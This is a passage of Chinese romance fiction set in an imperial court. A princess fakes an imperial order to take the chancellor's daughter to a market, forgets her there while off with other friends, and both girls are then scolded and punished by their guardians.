“您不是一直让我多向裴小姐学习吗?我这就去学。”
姬明玥沉默了三秒。
三秒后,她脸上露出欣慰的笑容。
“好好好!”她连说三个好字,放下筷子,走过去拍拍昭荧的肩:
“明曜啊,你总算懂事了,朕等你这句话,等了四年啊!”
昭荧乖巧低头:“姨母教导的是。”
“去吧去吧!”
姬明玥挥手:“多带几个侍卫,路上小心,在裴家好好学,不懂就问,别端着王女的架子。”
“是。”
昭荧行礼告退,转身时差点没绷住笑。
走出御书房,她深吸一口气,在心里给自己竖了个大拇指:
完美。
——
相府大门外。
昭荧从马车上跳下来,脸上的乖巧瞬间消失,换上一副“我今日心情不好谁都别惹我”的表情。
她昂着头,大步走向相府大门,身后跟着两个侍卫,架势摆得足足的。
门房见她,吓得腿一软:“王、王女驾到?”
“通报你们宰相。”
昭荧声音抬高八度,语气拽得二五八万:“就说本王女奉陛下口谕,亲自来请裴泠箬入宫辅导功课,让他赶紧把人叫出来。”
门房连滚带爬往里跑。
不多时,裴文渊匆匆迎出来。
他一身家常袍服,见来人,虽面上讶异,但还是恭敬的躬身行礼:
“不知王女驾到,有失远迎,还望王女恕罪。”
昭荧居高临下看着他,鼻孔都快朝天了:“裴相,我赶时间,虚礼就免了。
姨母说了,本王女的功课还有进步空间,今日虽是宫休日,但也不能荒废,特命本宫亲自来请裴泠箬入宫辅导。”
她把“亲自”两个字咬得极重,脸上写满了“你女儿能给我辅导功课是她八辈子修来的福气”。
裴文渊神色不变,眼底却闪过一丝警惕。
他垂首道:“王女亲临,是小女的荣幸,只是这事是否有些突然?宫里也不曾来人……”
“哎?”昭荧打断他,不满挑眉:“裴相这是怀疑本王女了?
姨母亲口说裴泠箬学问好,让本王女多向她请教,今日更是要我亲自来请,你是觉得本王女假传圣谕?”
裴文渊一噎,连忙躬身:“臣不敢……”
“谅你也不敢!”
昭荧不耐烦地摆手:“裴相,我真赶时间,你快些让人出来,再磨蹭下去,耽误了本王女读书,姨母怪罪下来,你担待得起?”
裴文渊脸色微变。
他沉默片刻,终于侧身吩咐下人:“去请小姐。”
一刻钟后。
裴泠箬从内院走出来。
昭荧正百无聊赖地用脚尖碾地上的石子,听见脚步声,漫不经心地抬头——
一整个愣住。
裴泠箬今日穿一身月白色素面衣裙,料子极好,却没有任何绣纹点缀,只在腰间系一条同色宫绦,坠着块青玉。
阳光落下来,照得她整个人像笼在一层淡淡的柔光里。
她身姿亭亭,步履从容,眉目干净得不染尘埃,眉心一点朱砂痣,红得像雪地里落了一瓣梅花。
清冷,却不显疏离。
悲悯,却不显软弱。
像佛前供奉的玉雕菩萨像,好看得不近烟火,却又让人莫名安心。
昭荧看呆了。
她早知道裴泠箬好看,但没想到能好看到这个程度。
平时在宫学,大家基本都穿着统一的学子服,头发也束得简单,再好看也有限。
可今天这一身……
她脑子里只疯狂刷过一行字:
真好看真好看真好看真好看真好看——
裴泠箬走到近前,微微垂眸,端端正正行礼:“臣女泠箬,见过王女。”
昭荧猛地回神。
她迅速收起脸上的惊艳,换上一副不耐烦的表情,又颐指气使起来:
“磨磨蹭蹭做什么?换个衣服换这么久,本王女等了你一刻钟!耽误本王女功课,你担待得起?”
裴泠箬垂着眼,神色淡然,语气顺从得挑不出错:“臣女知错,请王女恕罪。”
昭荧哼了一声,转身就走:“跟上,别磨蹭。”
裴泠箬跟上去,路过裴文渊身边时,微微侧身行礼:“父亲,女儿去了。”
裴文渊看着她的背影,又看看前面那个趾高气扬的王女,眉头微蹙,却终究没说什么。
——
马车就停在相府门外。
昭荧大步流星走到车前,掀开车帘,回头冲裴泠箬翻了个白眼:“还不快上来,要本王女请你?”
裴泠箬低着头,踩着车凳上了马车。
昭荧紧跟其后,“啪”一声放下车帘。
车夫扬鞭,马车缓缓启动。
车厢门关上的一瞬间——
昭荧整个人往车壁上一靠,赶紧舒了口气,脸上的不耐烦瞬间消失,取而代之的是藏都藏不住的笑意。
她侧过头,讨赏一般看着裴泠箬:“怎么样?我演得还行吧?”
裴泠箬端坐着,闻言抬眼看她,眼底有极淡的笑意。
“不错。”她轻声说:“比我预想的还好。”
“那当然,我这演技,连姨母和你爹都骗过去了!
你是没看见你爹那表情,被我用姨母的名头一压,半个字都不敢多说,哈哈哈哈——”
她笑得肆无忌惮,笑着笑着,突然想起什么,凑近裴泠箬:
“对了,你刚才出来的时候,好像话本里走出来的菩萨,真好看。”
闻言,裴泠箬微微侧过脸,耳后浮起一层淡淡的粉色。
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“王女……”
“叫明曜。”昭荧打断她:“私下叫明曜,别王女王女的,生分。”
裴泠箬沉默片刻,轻轻“嗯”了一声。
昭荧心满意足,往车窗外看了一眼,突然压低声音,兴奋道:
“快到了快到了!我让车夫绕路,不从正街走,先带你去馄饨摊!”
裴泠箬看着她雀跃的侧脸,唇角微微弯了弯。
马车辚辚向前。
车厢外,车夫轻轻“吁”了一声,缰绳一抖,马车转向闹市的方向。
远处,隐约传来市井的喧嚣声。
裴泠箬听着这些声音,心跳莫名快了几分。
她看向昭荧。
昭荧正趴在车窗边,眼睛亮得像捡到宝,回头冲她招手:“静攸快来!快到了!”
裴泠箬起身,挪到她身边。
车帘被风吹起一角,露出远处渐渐清晰的街市轮廓——
彩色的幡旗,熙攘的人群,热气腾腾的馄饨摊......
马车在离市集还有一条街的地方停下。
昭荧掀开车帘,先探头看了看四周,确认没人注意,才回头冲裴泠箬招手:
“下来吧,咱们走过去。”
裴泠箬依言下车,刚站稳,昭荧就从车厢里摸出个帷帽递过来。
竹编的帽檐,垂着月白色的轻纱,纱上还绣着几片竹叶,做工精细,一看就不是市集上随便买的。
“给。”昭荧把帷帽塞到她手里:“戴上。”
裴泠箬接过帷帽,有些不解:“这是……”
“遮脸啊,虽然你平时都没自己出来过,但万一被人认出来怎么办?再说了——”
她指了指天上的太阳:“今天太阳挺大的,你皮肤白,晒伤了多可惜。”
裴泠箬握着帷帽,看着昭荧被晒成小麦色的脸颊又低头看看自己白得几乎透明的手背,一时不知该说什么。
“那你呢?”她问。
“我?”昭荧咧嘴一笑,露出一口白牙:“我早就晒成这样了,再晒也黑不到哪儿去,再说了,我这张脸,京城谁不认识?戴不戴都一样。”
她说着,伸手帮对方把帷帽戴上,仔细调整好纱帘的位置。
轻纱垂落,遮住了裴泠箬大半张脸,只隐约能看见轮廓和那双清泠的眼睛。
“好了。”
昭荧退后一步,满意地点头:“这样就行,谁也认不出你。”
裴泠箬隔着轻纱看她:“那你……”
“我什么我?走啦!”
昭荧一把拉住她的手腕,转身就往市集方向走。
裴泠箬被她拽得踉跄一步,帷帽上的轻纱晃了晃,露出她微微睁大的眼睛。
“王……明曜,慢些。”
“再慢馄饨摊要收摊了!”
裴泠箬被她拉着,穿过一条小巷,眼前豁然开朗——
人声鼎沸,彩旗招展。
卖菜的、卖布的、卖小玩意儿的摊子一个挨着一个,吆喝声此起彼伏,空气里混杂着各种食物的香气。
裴泠箬脚步顿住片刻,隔着轻纱看着眼前这片从未见过的鲜活又嘈杂的世界,一时有些恍惚。
从小到大,她出门行程是被严格管控的,多数是坐马车,跟着父亲参加各种宴会,去的都是些清净雅致的地方。
像这样站在市集中央,被各色人等包围,听着各种口音的吆喝,闻着各种食物的味道……
是第一次。
9. 市集风波
“愣着干嘛?”昭荧回头看她,笑着晃了晃拉着她的手:“走啊!”
裴泠箬被她拽着往前走,脚步还有些僵硬,但帷帽下的眼睛却忍不住四处打量。
卖布摊前,一个大娘正跟摊主讨价还价,嗓门大得半条街都能听见:
“你这布明明昨儿还便宜两文,今儿就涨价,当我不识数?”
卖糖葫芦的小贩扛着草靶子从身边走过,上头插满红艳艳的果子。
几个小孩追着跑过去,差点撞到她身上,又被各自娘亲拎着耳朵拽回去。
裴泠箬看着这一切,帷帽下的唇微微弯了弯。
“到了!”
昭荧拉着她在一处馄饨摊前停下。
几张矮桌,几条长凳,支着个布棚子,棚下热气腾腾。
摊主是个胖婶,正麻利地往锅里下馄饨,见有人来,头也不抬地招呼:“坐,马上好!”
昭荧一屁股坐在长凳上,拍了拍旁边:“坐啊。”
裴泠箬看着那条看起来不太干净的长凳,又看看桌上摆着的粗瓷碗和竹筒里插着的木筷,一时没动。
昭荧笑了:“放心,我每次来都坐这儿,没事的。”
每次来?
裴泠箬帷帽下的眉头微动,但还是依言坐下。
她坐得端端正正,背挺得笔直,和这简陋的馄饨摊格格不入。
昭荧看得直乐:“你就不能放松点?这儿又没人认识你。”
裴泠箬抿了抿唇,身子依旧端得板正。
昭荧也不勉强,转头朝摊主喊:“胖婶,两碗馄饨,少些葱花!”
“好嘞!”胖婶应声,这才抬眼看了看来人,脸上立刻笑开了花:
“哎哟,小丫头又来了?今儿还带了朋友?”
“对啊,带她来尝尝你家馄饨。”昭荧笑得自然,像常客。
胖婶麻利地捞起两碗馄饨,端过来往桌上一放:“慢用啊,汤不够喊我。”
面前的馄饨,粗瓷碗,汤色清亮,馄饨皮薄得能看见里头的肉馅,上头飘着翠绿的葱花和几滴香油。
裴泠箬拿起木筷,犹豫了一下,才夹起一个馄饨,小口咬下。
烫。
她眉头微蹙,却没吐出来,慢慢嚼了嚼,眼睛微微亮了亮。
“好吃吧?”昭荧已经吃了小半碗,抬头看她,嘴里含着一个馄饨,说话含含糊糊的。
裴泠箬轻轻点头:“……嗯。”
两人吃完馄饨,昭荧丢下几个铜板,拉着她继续逛。
卖小玩意儿的摊子前,她拿起一个泥人递过去:“你看这个,像不像你?”
泥人捏得眉清目秀,板着脸,一副生人勿近的样子。
裴泠箬看了一眼,淡淡道:“不像。”
“怎么不像?我觉得挺像的。”
“就不像。”
“好好好,这个给你。”
昭荧笑嘻嘻地把一个抱着竹子的熊猫泥人塞到她手里:“拿着,送你了。”
裴泠箬接过泥人,摸着熊猫圆滚滚的肚子,嘴角不自觉地弯了弯。
“谢谢。”
“客气啥!走,再去那边看看!”
昭荧拉着裴泠箬到杂耍班子所在地时,已经是人满为患,好不容易挤到前排,正赶上压轴的喷火。
只见那汉子灌了口酒,举着火把凑近嘴边,“呼”一声,一条火龙冲天而起。
人群爆发出叫好声。
裴泠箬下意识往后仰了仰,帷帽下的眼睛却睁得大大的,一眨不眨地盯着那团火焰。
昭荧侧头看她,笑了笑,没说话。
喷完火,又上来一个瘦小的汉子,拿着一把明晃晃的长剑,慢慢往嘴里送。
看的裴泠箬帷帽下的眉头都担心的皱紧了。
昭荧感觉到她的紧张,侧过头,凑到她耳边小声说:“别怕,假的,剑是特制的,能缩进去。”
话音刚落,那汉子已经把整把剑“吞”了进去,只剩个剑柄在外面。
人群又是一阵惊呼。
裴泠箬才松了口气。
杂耍散场,人群渐渐散去。
两人站在街边,昭荧手里拿着刚买的糖炒栗子,一边剥一边往嘴里塞,裴泠箬则安静地站在她身侧,隔着帷帽看着来往的人流。
“明曜。”她突然开口。
“嗯?”昭荧抬头。
裴泠箬顿了顿,目光扫过周围的百姓,斟酌着开口:“她们……好像不怕你。”
昭荧剥栗子的手顿了顿。
“你是王女。”裴泠箬继续说:“按理说,百姓见王女,就算不跪拜,也该惶恐避让,可她们对你……”
她顿了顿:“像对普通熟人。”
昭荧听完,咧嘴笑了。
她把剥好的栗子塞进嘴里,嚼了嚼,咽下去,才慢悠悠开口:“因为她们见过我很多次了啊。”
裴泠箬眉梢微动。
“可能习惯了?我没人管的时候就出来逛逛,一开始还戴帷帽,后来发现根本没人注意我,就不戴了。”
她指了指周围的摊贩:“胖婶认识我三年了,每次来都给我多加汤;
那边卖泥人的老婆婆,还给我捏过母王和姨母,被我藏寝宫里了;
杂耍班子那几个,最开始见我吓得要跪,被我拦住了,后来熟了,喷火的时候还故意往我这边喷,吓我一跳。”
她说得轻松,像在讲什么稀松平常的事。
裴泠箬静静听着,帷帽下的神色却微微变了变。
“你……”她顿了顿,语气多了几分意味不明的探寻:“经常这样出来?”
“对啊,一个月总得有个四五回吧,待在宫里太闷了。”
四五回。
裴泠箬垂下眼,没说话。
昭荧没察觉她的异样,继续兴致勃勃地剥栗子,边剥边说:
“其实我每次出来,也不都一个人,有好几次是跟朋友一起,比一个人逛有意思多了。”
朋友。
裴泠箬抬眼看向她,下意识问出口:“你还有别的朋友?”
“当然有啊。”昭荧理所当然地点头,把剥好的栗子递给她:“吃吗?”
裴泠箬摇了摇头。
昭荧便继续说:“本来今天也想叫上她们一起的,但想着你第一次出来,怕你不习惯,就先只带你来了。”
“等下次吧。”她笑着:“下次带你认识她们,大家一起玩更热闹。”
裴泠箬看着她雀跃的侧脸,沉默片刻,才轻声问:“谁?”
“嗯?”
“你说的朋友,是谁家的?”<
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p>“兵部侍郎家的小女儿,户部尚书家的三小姐,还有禁军副统领的妹妹……我们经常一起出来玩。”
她报出的这几个人,让裴泠箬心里咯噔一下。
兵部侍郎家的小女儿,去年因为当街纵马,撞翻了三个摊子,被御史台参了一本。
户部尚书家的三小姐,是京城有名的赌徒,据说欠了一屁股债。
禁军副统领的妹妹,更是个混世魔王,打架斗殴是家常便饭。
这几个,都是京城出了名的纨绔子弟,胡闹、不学无术、名声极差。
姬昭荧若是跟这些人混在一起,名声能好才怪。
裴泠箬正想着呢,结果一个声音把昭荧叫了过去。
“明曜!”
昭荧回头,眼睛瞬间亮得像点了灯:“阿妤!”
一个穿着绛红骑装的少年大步流星冲过来,身后还跟着两个同样打扮的姑娘,几人往那儿一站,周围百姓自动让出三米远。
“陛下可算放你出来了!”
兵部侍郎家的沈妤一把搂住昭荧肩膀,笑得见牙不见眼:
“上回说好一起去城西看斗鸡,你放我们鸽子!”
“就是就是!”户部尚书家的三姑娘凑上来:“等了你一下午,最后我们自己去的,输了我二两银子呢!”
“那点钱你也好意思说。”
禁军副统领的妹妹林双双手抱胸,一脸揶揄:“上回你输我二十两,到现在还没还。”
“那不是手头紧嘛……”
几人叽叽喳喳,热闹得像一群麻雀。
昭荧被她们围在中间,笑得没心没肺,回头朝裴泠箬招手:“静攸,快来!介绍你们认识!”
裴泠箬却站在原地,没往前走。
隔着帷帽的轻纱,她看着那边。
看昭荧揽着沈妤的肩,听她抱怨放鸽子的事,看她被林双双捏脸也不躲,看她被三姑娘拉着说要给她看个好东西——
笑得真开心。
“静攸?”昭荧又叫了一声,见她没动,干脆自己跑回来:“怎么了?”
裴泠箬抬眼,隔着轻纱看她。
“没什么,你去吧,我在这儿等你。”
“那怎么行?”昭荧拉着她的手就往那边走:
“说了介绍你们认识的,没想到这么巧,阿妤她们人可好了,你肯定喜欢——”
“明曜。”
裴泠箬轻轻抽回手。
昭荧回头,愣住。
裴泠箬站在那儿,帷帽遮着脸,看不清表情,但语气有点不太对劲:
“你们玩吧,我站着看就好。”
“啊?”
“不是说要逛市集吗?我自己也可以逛。”
昭荧眨眨眼,还想说什么,那边沈妤已经喊起来:
“明曜!快来看!这个摊子上有会叫的泥鸟!”
“来了来了!”昭荧应了一声,又看向裴泠箬:“你确定?”
“嗯。”
“那我们晚一点在胖婶的摊子汇合!”昭荧转身跑了。
裴泠箬站在原地,看着她的背影融入那几人中间,看她和她们挤在摊子前,看她和她们一起大笑,看沈妤往她头上插了朵绢花,被林双双笑说是媒婆.....
她垂下眼,转身往相反的方向走去。
10. 失约
晚些是多晚?没有具体时限,某人似乎很快就把约定抛在了脑后。
一开始,沈妤拉着她挤进看泥鸟的摊子时,她还想着一会儿去胖婶那儿。
但等林双双押着她赌糖人,连赢三把,笑得她腮帮子疼,就不怎么想的起来了。
三姑娘说城南新开了家酥山铺子,冰凉甜糯,入口即化,她跟着跑了两条街,吃完才拍着肚子说爽——彻底忘了。
等几人逛累了,蹲在街角阴凉处歇脚时,沈妤突然想起什么:“哎!明曜,我家有只会说话的鸟!”
昭荧正拿着根草茎逗蚂蚁,闻言抬头:“说话?人扮的?”
“是真鸟!”
沈妤比划着,慢慢道来:“我母亲前几日得的,说是南边进贡的稀罕物,全身羽毛黑得发亮,嘴巴是金色的,会说人话!”
“说什么?”昭荧来了兴趣。
“说‘大人早’、‘辛苦了’、‘退下吧’——就这些,我母亲说它以前是哪个衙门养的,学了一嘴官腔。”
昭荧“噗”一声笑出来:“会打官腔的鸟?”
“可不是!你要不要去看?”沈妤一把拉起她:“走嘛走嘛,就在我家,不骗你!”
昭荧一听,立马点头:“走!”
几人呼啦啦站起来,跟着沈妤就往兵部侍郎府的方向跑。
昭荧跑在最前面,笑得没心没肺,压根没想起来她今天不是一个人出来的。
——
市集很大,人来人往。
裴泠箬漫无目的地走着,穿过卖布的摊子,穿过卖糖人的小贩,穿过一群追着跑的小孩——
最后停在一处书署前。
“书署”两个字写在木牌上,门脸不大,里头却别有洞天,几排书架摆得整整齐齐,三三两两的人或站或坐,手里捧着书,安静地翻看。
裴泠箬抬脚走进去。
她随手拿起一本前朝随笔,站到窗边。
窗外就是市集,若是有什么,她也能第一时间发现。
就这样翻开书,低头看。
第一页,讲的是前朝一个文人游历江南的见闻。
她看了三行,脑子里想的是馄饨滋味。
翻到第二页,讲西湖边的酒楼,说那里的醋鱼一绝。
她看了两行,脑子里想的是袖袋里那个熊猫泥人。
再翻一页。
书页停在半空,半天没翻过去。
裴泠箬抬眼,视线落在窗外。
窗外不知什么时候来了一对年轻女女,站在书署对面的糖人摊前,挨得很近。
一姑娘指着摊上的糖人说了什么,另一位便掏钱买下,递过去时,两人的手指碰了一下,又飞快分开,各自红了脸。
大周朝自建国以来,女子为尊,民风开放,这样的情景并不罕见,但此时此刻看了却觉得有些怪异感觉。
裴泠箬看了一会,便垂眸把书合上了。
放回书架,走出书署。
她往胖婶的馄饨摊走去。
——
胖婶正在收拾碗筷,见她来,抬头招呼:“咦?姑娘,又来吃馄饨?”
裴泠箬摇摇头,在先前坐过的长凳上坐下。
“等人。”她说。
胖婶应了一声,继续忙活。
午后的太阳很烈,照在布棚上,挡不住腾腾热意。
裴泠箬坐在阴影里,帷帽遮着脸,一动不动。
馄饨摊的客人来了又走,走了又来。
有人坐下来,呼噜呼噜吃完一碗,抹抹嘴离开。
有人带着孩子,孩子哭闹着要吃糖葫芦,当娘的骂两句,还是掏钱去买。
有人是熟客,跟胖婶聊几句家常,问问最近生意怎么样。
裴泠箬就那么坐着。
太阳从头顶慢慢往西斜,布棚的影子从她脚下慢慢挪到身后。
胖婶抽空端了碗水过来,放在她面前:“姑娘,等的人还没来?”
裴泠箬摇摇头。
“再等会儿呗,说不定有事耽搁了。”胖婶安慰道。
裴泠箬点点头,没说话。
太阳又往下滑了一截。
市集里的人渐渐少了,卖布的收摊了,卖糖人的挑着担子走了,胖婶也开始收拾桌椅,见她还在,叹了口气:
“姑娘,天快黑了,要不你先回去?明儿再来等?”
裴泠箬站起身。
她朝胖婶微微颔首:“多谢。”
转身,往相府的方向走去。
帷帽的轻纱垂着,遮住了脸,遮住了表情。
只看见她走得慢,走几步,停一停。
像在等什么人从身后追上来,拍她的肩膀,露出牙不见眼的笑。
没人。
身后只有收摊的嘈杂声,和渐浓的暮色。
她继续走,脚步没再停。
——
兵部侍郎府。
昭荧抱着那只怪鸟,笑得直不起腰。
那鸟站在架子上,歪着脑袋看她,黑漆漆的眼珠子滴溜溜转,嘴巴一张一合:
“大人早——大人早——退下吧——退下吧——”
昭荧捂着肚子:“它是不是只会这两句?”
沈妤蹲在旁边,也笑得不行:“还会一句‘冤枉啊’,但一般不开口。”
“冤枉?”昭荧眼睛一亮:“让它说!”
沈妤朝那鸟吹了声口哨,那鸟歪了歪脑袋,果然开口:
“冤枉啊——冤枉啊——大人明鉴——”
昭荧笑得滚到地上。
林双双在旁边翻了个白眼:“至于吗,不就一只破鸟。”
“你不懂!”昭荧爬起来,凑到鸟架子前,学着那鸟的语气:“退下吧——退下吧——”
那鸟竟也附和着:“退下吧——退下吧——”
昭荧乐疯了,扭头问沈妤:“这鸟能不能借我玩两天?”
“借?”沈妤挠挠头,“我做不了主,得问我母亲。”
“那你母亲呢?”
“去外面还没回来呢……”
话音刚落,外头传来一阵脚步声,夹杂着下人的惊呼:“大人回来了!”
沈妤脸色一变,刚要说话,门已经被人推开。
兵部侍郎沈大人站在门口风尘仆仆,看见屋里的人,整个人愣住。
愣了三秒。
然后“噗通”一声跪了下去。
“臣、臣参见王女!”
昭荧抱着鸟架子,眨眨眼:“沈大人快起来,我就来玩玩……”
“玩?”沈大人
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抬起头,脸上写满了惊恐:
“王女您、您怎么出宫的?陛下知道吗?您出来多久了?身边带侍卫了吗?有没有人跟着?您……”
“沈大人。”昭荧有些不悦的打断她:“你问题太多了吧。”转而又继续逗鸟玩。
沈大人噎住。
她跪在地上,看看昭荧,看看自己女儿,再看看那只会说人话的鸟,脑子飞快转动——
王女私自出宫,还在她府上逗留,这要是传出去,她这官还当不当了?
“来人!”她猛地站起来:“备车!立刻备车!送王女回宫!”
昭荧被她的慌张惊到,这才意识到什么:“现在就走?”
“现在就走!”
沈大人一把从她怀里接过鸟架子,塞给旁边的下人,拉着她就往外走:
“王女,您私自出宫,陛下肯定担心,臣送您回去,现在就走!”
昭荧被她拽着走,回头冲沈妤挥手:“阿妤,改天再来玩啊!”
沈妤正要挥手,被母亲回头瞪了一眼,讪讪缩回手。
马车早已备好,沈大人亲自送昭荧上车,一路催着车夫快马加鞭。
昭荧坐在车里,看着窗外飞速掠过的街景,后知后觉地想:
出来一天了,姨母不会发现吧?
应该……不会.....吧?
——
皇宫。
昭荧被马车送到宫门口,沈大人千恩万谢地告辞,昭荧抱着鸟架子,蹦蹦跳跳往寝宫走。
还没走到寝宫门口,就被宫女拦住了。
“王女,陛下宣您去御书房。”
昭荧脚步一顿:“现在?”
“现在。”
昭荧低头看看自己,又看看怀里的鸟,突然有点心虚。
她把鸟架子往宫女手里一塞:“帮我带回宫去,藏好,别让人看见啊。”
而后整理衣袍,清了清嗓子,摆出一副“我今天可是认真学习了一整天”的模样,往御书房走去。
推开门。
姬明玥坐在书案后,手里拿着本奏折,见她进来,抬眼看了看。
昭荧乖巧行礼:“姨母,我回来了。”
姬明玥放下奏折。
她看着昭荧,没有说话。
御书房里安静得能听见烛火跳动的声音。
昭荧站在那儿,被这沉默看得心里发毛,脸上却还维持着乖巧的笑。
终于,姬明玥开口了。
语气平淡,听不出喜怒,却带着让人脊背发凉的审视:
“今日,你去哪了?”
——
与此同时,相府。
裴泠箬走进大门时,天色已经全黑。
下人迎上来,神色慌张,压低声音说:“小姐,您可算回来了!相爷在书房等您,脸色……不太好。”
裴泠箬脚步顿了顿。
她把帷帽递给下人,理了理衣裙,往书房走去。
推开门。
裴文渊坐在书案后,烛火映着他的脸,半明半暗。
他抬眼,看向门口的人。
没有多余的铺垫,没有寒暄,甚至没有问她为什么这么晚才回来。
只一句话,语气沉冷:
“今日,你去哪了?”
11. 闯祸
前情:
昭荧带着裴泠箬离开相府后,裴文渊在书房里坐了半个时辰,后知后觉发现不对劲。
“备车,入宫。”
——
御书房。
姬明玥正在批奏折,听内侍通传“裴相求见”,还以为是朝堂上那点破事。
结果裴文渊一进来,躬身行礼后,开口就是:
“陛下,臣今日前来,是想问一问,王女奉陛下口谕,接小女入宫辅导功课,不知陛下对小女的教导,可有什么吩咐?”
姬明玥手里的朱笔顿是停住。
她抬起头,看着裴文渊,眉头慢慢皱起来。
“口谕?”
“是。”裴文渊垂首:“王女今日亲临臣府,说陛下有口谕,让小女入宫辅导功课,臣不敢耽搁,便让小女随王女去了。”
姬明玥放下笔。
“朕从未下过这样的谕旨。”
裴文渊抬起头,脸上闪过一瞬的错愕。
“那王女说……”
“明曜今早来找朕,说是要去相府,向你女儿请教功课。”
两人对视。
三秒后,同时明白过来——全被姬昭荧那丫头耍了。
裴文渊脸色肉眼可见地沉了下去,语气里压着不满,却不敢明着怨:
“陛下,臣竟不知王女会编造口谕,私自将小女带离相府。”
姬明玥深吸一口气。
她抬手揉了揉眉心,语气里带着几分无奈和压着的心虚:
“裴相息怒,明曜顽劣,此事是朕疏于管教。”
裴文渊没接话,但脸上的表情已经说明一切。
姬明玥放下手,正色道:“朕这就派人去查,务必将两人寻回,绝不会让裴小姐受委屈。”
她顿了顿,看向裴文渊:“此事暂且保密,别惊了孩子们,朕自会处置明曜。”
裴文渊沉默片刻,终于躬身:“臣遵旨。”
退出御书房时,他的脸色黑得像锅底。
姬明玥站在窗前,看着他的背影消失在宫门处,狠狠骂了一句:
“姬昭荧,你真是朕的好侄女!”
——
暗卫出动。
半个时辰后,消息传回御书房:
王女带裴家小姐去了市集,逛了馄饨摊、杂耍摊、泥人摊,后来王女跟兵部侍郎家的小姐走了……
姬明玥听完,沉默了很久,更想抽姬昭荧了。
——
现在:
御书房。
姬明玥看着眼前这个站没站相的侄女,语气平静得让人发毛:
“今日,你去哪了?”
昭荧眨眨眼,乖巧答:“去相府请教功课了啊,姨母不是知道吗?”
“请教功课?”
“对啊,裴小姐学问好,我特意去请教她,姨母您同意的。”
姬明玥冷冷笑了,笑得昭荧心里直发毛。
“姬昭荧。”姬明玥站起身,慢慢走到她面前:“你再说一遍,你去相府做什么?”
昭荧硬着头皮:“请、请教功课……”
“啪!”
姬明玥一巴掌拍在案上,声音大得整个御书房都震了震。
“还敢撒谎?!”
昭荧吓得一抖,腿都软了半截。
“裴文渊今日入宫来了,你倒说说,你是去相府请教功课,还是奉朕的口谕,接裴泠箬入宫?”
昭荧脸色瞬间白了。
她张了张嘴,想说什么,却发现什么都说不出来。
撒谎的底气,在这一刻全没了。
姬明玥居高临下看着她,眼神里满是失望:
“朕以为你只是顽劣,没想到你还会编造口谕、欺上瞒下,姬昭荧,你真是长本事了。”
昭荧慌了。
她下意识后退半步,声音都开始抖:“姨母,我、我就是……”
“就是什么?”
“就是想教训一下裴泠箬!”
昭荧急中生智,脱口而出:“谁让她在宫学总针对我,摆着一副高高在上的样子,好像全天下就她最厉害!我就约她出去,想给她点颜色看看,让她别那么傲气!”
“给她点颜色看看?你知不知道你闯了多大的祸?!”
她一把抓住昭荧的肩膀,力道大得让昭荧疼得皱眉:
“编造口谕,是欺君之罪!私自出宫,是违抗宫规!带裴泠箬擅离相府——
裴家是朝廷重臣,裴泠箬是裴家唯一的希望!若是外出途中出了什么意外,裴文渊抓住这个把柄借题发挥,你让朕怎么保你?!”
昭荧被骂得低下头,眼眶红了。
“我……我也没把她怎么样……”她小声嘟囔,委委屈屈道:“就是带她逛了逛市集,吃了碗馄饨,看了场杂耍……”
“逛市集?吃馄饨?看杂耍?”
姬明玥气得浑身发抖:“你知不知道裴文渊是什么人?他表面恭敬,次次都在试探朕的底线!你倒好,主动把把柄送到他手里!”
她松开手,转身走回书案后,背对着昭荧,肩膀微微起伏。
“看来,不给你好好吃点苦头,你是真的长不了记性。”
昭荧抬起头,眼泪在眼眶里打转:“姨母……”
“别叫姨母。”姬明玥的声音冷得像冰:“从今日起,禁足一个月,没有朕的允许,不许踏出寝宫半步,宫学也不用去了,朕会跟太傅说,你病了。”
“一个月?!”昭荧急了:“姨母,我……”
“再敢多说一个字,就禁足两个月。”
昭荧闭上嘴,眼泪终于掉下来。
她跪在地上,肩膀一抽一抽的,哭得无声无息。
姬明玥背对着她,听着那压抑的哭声,闭了闭眼。
“下去吧。”
昭荧爬起来,踉跄着往外走。
走到门口时,她回头看了一眼,猛地想起她把静攸忘在馄饨摊了!
——
相府。
“跪下。”
裴泠箬依言跪下,垂着头,不说话。
裴文渊走到她面前,居高临下地看着她,声音里压着怒火:
“你可知错?!”
裴泠箬抬起头,神色平静:“女儿不知错在何处。”
“不知错在何处?”
裴文渊气笑了:“我千叮万嘱,让你离王女远一点,你偏不听!今日她编造口谕骗你出府,你竟也信了?!”
裴泠箬不答话。
“不说话?”裴文渊的声音陡然拔高:“静攸,你是裴家的小姐,是未来的宰相!你跟她混在一起,被她带坏了怎么办?!”
裴文渊大步走到她面前,声音大得整个书房都在震:
“她是什么人?一个只会胡闹、仗着陛下宠信无法无天的纨绔!你跟她混在一起,被她带坏了怎么
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办?”
裴泠箬跪在原地,一动不动。
“我不是跟你说过吗?她顽劣不堪、不学无术,名声狼藉,你跟她走得近,只会自毁前程!”
裴文渊指着她,手指都在抖:“裴家的未来,全压在你身上!你要是被她拖累,毁了名声、误了前程,裴家就真的完了!”
裴泠箬依旧没动。
她垂着眼,脸上没什么表情,但垂在身侧的手,慢慢攥紧了。
“王女是什么人?一个只会胡闹的废物!”
裴文渊越说越气:“你跟她出去,万一被人看见,传到朝堂上,别人会怎么想?裴家的女儿跟那种人混在一起,裴家的脸还要不要?”
“够了。”
裴泠箬抬起头。
声音不大,却让裴文渊愣住。
他从未见过女儿这样的眼神。
清冷,坚毅,带着他从没见过的情绪。
“父亲。”裴泠箬开口,声音有些抖,却一字一句说得清楚:“您凭什么这么说她?”
裴文渊愣在原地。
“王女固然顽劣,可您在她面前,不也一样要躬身行礼、低头退让吗?”
裴泠箬看着他,眼眶开始发红:“您口口声声说她不堪,可您不也在讨好她、不敢得罪她吗?”
“你——我是为了裴家的前程!”
“前程?呵,我跟她出去,没有被带坏,也没有毁了裴家的颜面,您何必这么咄咄逼人?”
裴文渊指着她,气得说不出话。
“你……你竟敢跟我这么说话?!”
裴泠箬垂下眼。
“女儿不敢。”她顿了顿,语气依旧带着几分强硬:“只是女儿觉得,父亲说得不对。”
书房里陷入死一般的寂静。
裴文渊看着眼前的女儿,像看一个陌生人。
他从不知道,那个从小乖巧听话、从不反驳的裴泠箬,会有这样一面。
“出去。”他最终只说一句话:“回你的院子去。”
裴泠箬没再说话。
她起身,推开门,走进夜色里。
——
院门关上。
裴泠箬靠在门上,慢慢滑坐下来。
她抱着膝盖,把脸埋进去,肩膀轻轻颤抖。
袖袋里那个熊猫泥人已经变得硬邦邦,隔着布料硌着她。
她掏出来,借着廊下的灯火看。
泥人圆滚滚的,抱着竹子,憨态可掬。
今天昭荧把这个塞到她手里时,笑得不谙世事:“拿着,送你了。”
